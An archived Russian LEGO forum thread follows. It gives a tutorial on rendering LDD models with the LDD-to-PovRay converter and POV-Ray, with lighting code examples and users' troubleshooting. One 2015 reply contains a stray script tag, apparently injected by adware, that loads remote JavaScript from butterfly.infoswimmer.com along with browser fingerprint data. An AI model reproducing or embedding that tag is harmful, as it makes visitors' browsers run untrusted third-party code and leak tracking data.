Phantom's Brick Архив

Главная -> Творчество -> LEGO® Виртуальное моделирование

LDD-to-PovRay: краткое руководство от Грешник

Грешник, 2012-08-12 21:09:11 +00:00

Итак, не так давно вышла архиполезнейшая утилита LDD-to-PovRay(http://www.eurobricks.com/forum/index.php?showtopic=71654&st=210). Её задача конвертировать файлы виртуальных моделей, сделанных в LDD для трассировщика POV-Ray. Это даёт возможность очень реалистичные изображения виртуальных моделей. Судите сами:


Настройки/функции конвертера

Что же для этого нужно? Собственно LDD, POV-Ray v3.7 и конвертер LDD-to-PovRay. Но далеко не всё просто. Необходимо найти файл PovRay.ini, который хранится в папке POV-Ray (создаётся в "Моих документах") в подпапке Ini. В этот файл нужно в конце добавить строку Library_Path=\\.\LDDIncludes . Открываем LDD-to-PovRay...

Выбираем нужный файл модели в строке Input file. Стоит заметить, что какой ракурс был LDD при сохранении, такой ракурс и получится в итоге на обработанном изображении. В принципе можно сразу жать Convert, но давайте разберёмся с некоторыми с настройками. Параметр Level of detail отвечает собственно за детализацию (шероховатости на скосах, надписи на штырьках). Ставить его на максимум не всегда следует, так как прилично замедляет скорость рендеринга.

Здесь задаются параметры освещения. 3 источника, свет от камеры (camera light) и фоновое освещение (ambient light), можно менять их яркость, тени, отключать... Подробнее об освещении будет ниже. Но стоит сразу сказать, что не нужно сразу включать все три источника. Они создаются какого-то монструозного размера и плотности, что очень сильно замедляют рендеринг.

А вот это очень любопытная функция. Она позволяет подменять стандартные декали кастомными в формате .png . Тыкаем галочку Use custom decorations и появляется список всех декалей в модели, щёлкнув по правому пустому полю выбираем декаль, на которую будет заменена стандартная.

Здесь настраивается качество рендеринга. Но на максимальном качестве может уйти очень много времени. И причём не всегда есть разница между средними настройками и высокими в конечном результате. К слову на скорость влияют: настройки качества (сильно), настройки детализации(средне), наличие в модели сложных деталей(травка, листики), прозрачных и блестящих деталей(очень сильно), а так же источники освещения (сильно).


Итак по настройкам пробежались, тыкаем Convert. В идеале Pov-Ray должен открыться сам, но не всегда это срабатывает. LDD-to-PovRay нельзя закрывать во время рендеринга. Открываем Pov-Ray, открываем полученный файл формата .pov и... видим кучу кода и никаких изображений. Да-да, никакого вам предварительного просмотра, все изменения делаются "вслепую".

В левом верхнем углу видим список доступных разрешений изображения, которое будет получено. Здесь всё просто. Тыкаем Run и ждём... от пары минут до... лучше не знать. В среднем на среднего размера модели уходит около часа. Но ведь кому-то станет любопытно, а что ещё можно тут сделать? Много чего! Но я разобрался пока что совсем с немногим. Итак, уже говорил об источниках света. Сверху пункт меню Insert -> light sources. Добаваляет источник света. Вставлять этот кусок кода нужно ДО объявления модели(#declare ldd_model = union ). Желательно рядом с другими источниками просто для удобства. На выбор представлены несколько видов источников. Остановлюсь подробнее на трёх.


Источники света

Point light. Точечный источник. Быстрая обработка, но низкое качество.

light_source

{

<15.248719215393066,2.1646552085876465,-0.05597960576415062>

color rgb <0.2,0.2,0.2>

}

Первая тройка чисел - координаты источника. Вторая - интенсивность/цвет в формате RGB. Одинаковые числа дают белый свет.

Area light. Распределённый источник света. По сути, много точечных. Работает медленно, но качество куда лучше. Именно эти источники по умолчанию создаёт конвертер.

light_source

{

<-100,100,400>

color 40/100*ldd_light_color

area_light 5, 5, 5, 5

adaptive 1

jitter

circular

orient

transform { ldd_camera_transformation }

}

С координатами и цветом всё понятно. area_light: именно это и делает источник распределённым. Первые два числа отвечают за его "объём", два других за "плотность". По умолчанию эти параметры ставятся слишком большими, рекомендую устанавливать на 4-5. jitter включает смягчение теней. transform { ldd_camera_transformation } связывает координаты с камерой.

spotlight "Прожектор"

// create a point "spotlight" (conical directed) light source

light_source {

<0,0,0> // light's position (translated below)

color rgb <1,1,1> // light's color

spotlight // this kind of light source

point_at <0, 0, 0> // direction of spotlight

radius 5 // hotspot (inner, in degrees)

tightness 50 // tightness of falloff (1...100) lower is softer, higher is tighter

falloff 8 // intensity falloff radius (outer, in degrees)

}

point_at координаты, на которые направлен источник. radius радиус "основного" диска, интенсивность от центра постоянная. falloff радиус диска переменной интенсивности. tightness скорость спада интенсивности.

falloff > radius

falloff < radius


Помещение источника внутрь детали

Итак, допустим мы хотим сделать так, чтобы источник света находился внутри определённой детали. Для этого запоминаем её индекс в LDD (допустим 30106). Индекс отображается внизу экрана, когда деталь выделена. Ищем объявление детали с таким индексом в Pov-Ray (поиск текста в коде Ctrl+F). Выглядеть это будет таким образом:

ldd_30106(array[1]{44},array[1]{0},array[1][12]{{1,0,0,0,1,0,0,0,1,-6,2.8819348812103271,8.3999996185302734}})

Последние 3 числа и есть координаты детали. Далее вставляем эти координаты в источник света. Иногда приходится несколько приподнять источник (вторая координата), так как он имеет тенденцию проваливаться в штырёк нижней детали.

light_source

{

<-6,3.8819348812103271, 8.3999996185302734 >

color rgb <1,1,1>

}


В заключение хочу сказать, что все рекомендации являются ИМXО и были выведены опытным путём, а за полную чистоту этих опытов я не ручаюсь. Так что идеальные настройки должен найти для себя каждый своими экспериментами. Это лишь малая часть того, что нужно сказать. Статья будет дополняться, естественно.

Изменено 15 августа 2012 пользователем Грешник

simplyGZ, 2012-08-13 04:25:09 +00:00

Спасибо за руководство! Меня больше всего из дополнительного интересуют кастомные рисунки и особенно детали (хотя это и в ФШ можно дорисовать, но всё-таки "мечта идиота" - нарисовать свои выдуманные 16 фигурок аки реалистичные). Но, опять же, сколько времени у вас уходило на большие работы - аббатство, меха этого? Хотя тут они, вроде бы, не на максимуме выполнены, без надписей "ЛЕГО" на бриках, потому... Подсознательно мне кажется, что они "живые", но сделаны из деталей подделок. :unsure:

Насчёт двух минут... У меня за это время и полбрика не сделаются. 2 часа на стандарт - тоже... Может, у вас компьютер использовался мощный?

Грешник, 2012-08-13 04:40:09 +00:00

Да, максимальные настройки я не выставляю. И всегда оставляю только один порезаный источник света. Обычно отключаю Radiosity (из мануала к Pov-Ray понял, что каким то образом улучшает восприятие объёма, но эффекта я не заметил). Компьютер не накой уж и мощный. Теперь не могу повторно обработать "собор" и некоторые другие большие модели, во время процесса появляется ошибка bad allocation. А вот от размера скорость не так зависит. Очень сильно влияют блестящие, прозрачные и сложные детали.

3 часа работы

3 часа работы

7 минут

Изменено 13 августа 2012 пользователем Грешник

Грешник, 2012-08-13 12:51:34 +00:00

И всё-таки не совсем понятна причина переноса из "Статей". Рендеринг же ближе к фотографированию моделей и обработке фото, а не непосредственно к "моделированию". И это при наличии "прилепленной" обзорной статьи по программам вирт. моделирования в "Статьях".

ZeeK, 2012-08-13 13:53:06 +00:00
Рендеринг же ближе к фотографированию моделей и обработке фото
ТОлько всё такое "виртуальное"...
И это при наличии "прилепленной" обзорной статьи по программам вирт. моделирования в "Статьях".
Недочет устранен, тема тоже теперь тут, в "виртуальном". Спасибо.

bidlopavidlo, 2012-08-14 21:28:30 +00:00

Пытался таки разобраться, но видимо руки кривые.

Сделал как по инструкции, но на этапе обработки выдал следующее окно:

[imgx=700]http://farm8.staticflickr.com/7266/7783865840_4f1c604952_b.jpg[/imgx]

Может дело в том что я путь к доп библиотекам указал неправильно? но вроде правильно. в Pov-Ray не разбираюсь, а по-сему буду признателен, если кто-нибудь пояснит.

Грешник, 2012-08-14 22:02:17 +00:00

Сама ошибка с самом низу отображается, а это место как раз обрезано. Но подобное встречалось уже у нескольких человек, пока решения не найдено.

Lehanikus, 2012-08-15 00:13:22 +00:00

Была у меня такая проблема, но я,таки, смог ее решить.Изначально я сохранял .pov файлы прямо на рабочем столе и выдавало эту ошибку.Но когда я перенес файл в одну из папок на рабочем столе все заработало.

bidlopavidlo, 2012-08-15 13:13:08 +00:00

В общем, почитав тему на евробрике, я таки нашёл в чём загвоздка:

для корректной работы необходимо одновременно соблюсти 2 условия:

1) LDD2POV-RAY нужно оставить включённым и после того как он уже создаст pov-файл и оставлять включённым до получения картинки.

2) В файле PovRay.ini нужно указывать именно "виртуальный путь" Library_Path=\\.\LDDIncludes, как это и написано у Грешника, а не физический адрес папки в которую конвертер засунул включённые файлы (например:C:\Users\user\Desktop\LddIncludes)

А ещё ошибка может возникать из-за того, что нельзя сохранять конвертированные pov-файлы в туже папку, что и включённые файлы конвертера.

И, кстати, спасибо за отличную утилиту!

Изменено 15 августа 2012 пользователем bidlopavidlo

Грешник, 2012-08-15 14:00:59 +00:00

Да, забыл упомянуть, что конвертер нельзя закрывать во время рендеринга.

Позже: добавил немного информации.

Изменено 15 августа 2012 пользователем Грешник

Ramidalis, 2013-08-09 07:07:44 +00:00

Вообщем сразу к делу, больше не нашел куда лучше подойдет мой вопрос, а он таков - делаю "графический банер" из лего, надпись, кое какие детали, вообщем не такая и громозкая конструкция :) а проблема в том, что усовершенствованная модель рендерится уже 15+ часов ;D я уже в отчаянии :) скорость обработки по началу была ~50 пикселей в секунду, а сегодня с утра уже спустилась до 6 п/с, ниже почти некуда, и это при комплектации cpu i5/6 Gb ram/geforce gt 640m на 2Gb - правда видяха никак не задействуется :( может есть какое нибудь решение как ускорить процесс? :)

вот первый вариант моей задумки, второй, который "застрял" не на много навароченее :)

Изменено 9 августа 2013 пользователем Ramidalis

LegoПарень, 2013-09-11 08:23:50 +00:00

А где скачать LDD to pov ray? Я просто скачал Pov Ray, а LDD pov ray у меня нет.

Ramidalis, 2013-12-09 16:20:32 +00:00

LegoПарень, скачать сам конвертор на его же сайте, в разделе download :) а я тут с проблемой столкнулся, после сноса винды снова поставил как и в прошлый раз, ничего нигде не ковыряя :) и когда запускается сам рендеринг, то выдает ошибку об защите записи, т.е. write protected volume, там девайс какойто и код :)) может у кого было что то похожее, потом просто нажимаешь продолжить и он якобы фатал еррор вписывает там в строке и ничего, но после этого нажал на кнопку какую то :D и снова та табличка, но потыкал много раз на игнор и продолжить и он вдруг заработал :) я без понятия вообщем :))

или на семерке через администратора нужно запускать? :)) блин, а сейчас пошел без запоров, крч магия или танцы с бубном:))

Изменено 9 декабря 2013 пользователем Ramidalis

Полковник НаБеломКоне, 2014-01-11 21:48:02 +00:00

Никто не знает, есть ли под OS X альтернатива?

Или под линукс (Debian)

Изменено 15 апреля 2014 пользователем ПолковникНаБеломКоне

Сотник, 2014-04-21 16:52:19 +00:00

Друзья, можно как дураку - по пальцам? Не работает(

Я в папке PovRay в подпапке .ini нахожу файл povray (орфография соблюдена, у меня почему-то заглавных букв нет), туда в конец ввожу строку Library_Path=\\.\LDDIncludes , сохранаяю. Открываю LDD-to-PovRay, выбираю в верхнем окне ссылку на сохраненную модельку и, выставив настройки, щелкаю "convert", но в итоге выдает ошибку "В экземпляре объекта не задана ссылка на объект" .

Заранее прошу прощения за свои недалекие познания и благодарю за помощь.

Swarp, 2014-06-27 06:57:35 +00:00

Что делать? Помогите пожалуйста.после конверта автоматически открывается Pov-Ray выдает вот эо синее окно (внизу):

Нажимаю Run , он выделяет область желтым цветом:

Подскажите пожалуйста, что мне делать?

Изменено 27 июня 2014 пользователем Swarp

ScorpJr, 2014-06-27 09:24:52 +00:00

Что делать? Помогите пожалуйста.после конверта автоматически открывается Pov-Ray выдает вот эо синее окно.

Нажимаю Run , он выделяет область желтым цветом.

Подскажите пожалуйста, что мне делать?

А вы сделайте так. После того, как файл будет конвертирован в нужный формат, жмёте отказ, на предложение сразу открыть POV-Ray, и, не закрывая конвертер (Это очень важно!!! Он должен быть включен!), открываете POV-Ray, нажимаете "Open" и выбираете нужный файл. А потом запускаете рендер.

Swarp, 2014-06-27 09:36:04 +00:00

Что делать? Помогите пожалуйста.после конверта автоматически открывается Pov-Ray выдает вот эо синее окно.

Нажимаю Run , он выделяет область желтым цветом.

Подскажите пожалуйста, что мне делать?

А вы сделайте так. После того, как файл будет конвертирован в нужный формат, жмёте отказ, на предложение сразу открыть POV-Ray, и, не закрывая конвертер (Это очень важно!!! Он должен быть включен!), открываете POV-Ray, нажимаете "Open" и выбираете нужный файл. А потом запускаете рендер.

не выходит(

А в файле povray.ini нужно было указать путь к файлам, которые конвертирует ldd to pov-ray?

я прописал так:

(в самом низу)

это путь к файлам, которые конвертировал ldd pov-ray.

Правильно ли это?

Изменено 27 июня 2014 пользователем Swarp

SportsMAN, 2014-07-25 07:08:04 +00:00

Покопался с рендером, возникала ошибка, но все решилось изменением некоторых путей. :)

Самое обидное рендерился минут 15-20 (16 деталей), но я забыл поставить еще один источник света (поэтому картинка без тени). :Nerd:

Изменено 25 июля 2014 пользователем SportsMAN

Кватрос, 2014-09-02 21:47:50 +00:00

При рендеринге не находится файл :ldd_default_colors.inc :Crying:

ScorpJr, 2014-09-04 18:33:50 +00:00

При рендеринге не находится файл :ldd_default_colors.inc :Crying:

1. Не выключать LDD-to-POV-Ray при рендеринге.

2. Проверить правильность корректировки файла программы (это там где вставлять Library Path = LDD includes; за правильность написания не ручаюсь).

Грешник, 2015-02-28 16:36:18 +00:00

На db.lif ругается, когда открыт LDD. Нужно закрывать во время конвертирования. И ещё раз проверить правильность всех путей в настройках и наличие отсутствия кириллицы в адресах.

Корак, 2015-03-01 17:44:08 +00:00

А вот и я начал пользоваться рендером. Пока что пробую на низких настройках. Компьютер нагружает не больше чем флеш-игра. И это радует.

Корак, 2015-04-19 12:22:20 +00:00

Возникла небольшая проблема. При попытке воспользоваться функцией Custom decorations пи попытке рендеринга выводит сообщение об ошибке типа:

Possible Parse Error: Non-ASCII character has been replaced by space character.

Possible Parse Error: Non-ASCII character has been replaced by space character.

Possible Parse Error: Non-ASCII character has been replaced by space character.

Possible Parse Error: Non-ASCII character has been replaced by space character.

Possible Parse Error: Non-ASCII character has been replaced by space character.

Possible Parse Error: Non-ASCII character has been replaced by space character.

Possible Parse Error: Non-ASCII character has been replaced by space character.

Possible Parse Error: Non-ASCII character has been replaced by space character.

Possible Parse Error: Non-ASCII character has been replaced by space character.

Possible Parse Error: Non-ASCII character has been replaced by space character.

Possible Parse Error: Non-ASCII character has been replaced by space character.

Possible Parse Error: Non-ASCII character has been replaced by space character.

Fatal error in parser: Cannot open file.

Possible Parse Error: Cannot find file 'C:\Путь к файлу\Файл.png', even after trying to append file type extension.

Possible Parse Error: Cannot find image file.

Render failed

----------------------------------------------------------------------------

Что делать для ее устранения?

Изменено 19 апреля 2015 пользователем Корак

Грешник, 2015-04-19 17:55:25 +00:00

Кириллицу из адреса декали убрать.

Duhastik444, 2015-08-14 05:49:31 +00:00

В общем захотел я зарендерить свою модель и ничего не получилось.

Через программу LDD to PovRay converter сделал файл, открываю его в Rov Ray и выходит ошибка Failed to set render options (Failder to parse command line options) See message pane for more details.

Грешник, 2015-08-15 08:22:21 +00:00

В командной строке вместо параметра зачем-то вписано "танк т-90". Убрать. Так же настоятельно рекомендую ознакомиться с Bluerender'ом, он проще в освоении, чем Pov-Ray, хоть и не такой гибкий.

Duhastik444, 2015-08-21 06:38:31 +00:00

<script id="vitruvian" type="text/javascript" async="true" src="https://butterfly.infoswimmer.com/kernel/A427C186-69B9-4D92-9144-3FE8B1315899?aid=C525F2DF-C679-4CD1-89A8-6880D96D72B5&iid=3C9D3330-A65F-43B0-9236-4838EC82BED7&itm=2015-07-28T11:17:00Z" data-nid="A427C186-69B9-4D92-9144-3FE8B1315899" data-ie-pid="00000000-0000-0000-0000-000000000000" data-cr-pid="00000000-0000-0000-0000-000000000000" data-ff-pid="00000000-0000-0000-0000-000000000000" data-nf-pid="2974C2C2-FDE5-481E-86A2-8A182B8BD253" data-pid="2974C2C2-FDE5-481E-86A2-8A182B8BD253" data-aid="C525F2DF-C679-4CD1-89A8-6880D96D72B5" data-iid="3C9D3330-A65F-43B0-9236-4838EC82BED7" data-ver="1.10.0.19" data-itm="2015-07-28T11:17:00Z" data-hid="0D710433-991A-BCCA-7B1F-5A0DC642EA36" data-ie-at="00000000-0000-0000-0000-000000000000" data-cr-at="00000000-0000-0000-0000-000000000000" data-ff-at="00000000-0000-0000-0000-000000000000" data-nf-at="FB0DCB7C-7374-A426-D1F2-EB32709A13FC" data-at="FB0DCB7C-7374-A426-D1F2-EB32709A13FC" data-ie-ver="11.0.9600.17914" data-cr-ver="44.0.2403.125" data-ff-ver="" data-dbsr="chrome" data-osn="Windows 7 Ultimate" data-osv="6.1.7601" data-ost="x64" data-bsr="NF" ></script>

В командной строке вместо параметра зачем-то вписано "танк т-90". Убрать. Так же настоятельно рекомендую ознакомиться с Bluerender'ом, он проще в освоении, чем Pov-Ray, хоть и не такой гибкий.

есть у меня bluerender, он не такой фунциональный...

semfun, 2017-01-11 18:19:15 +00:00

Спасибо за урок!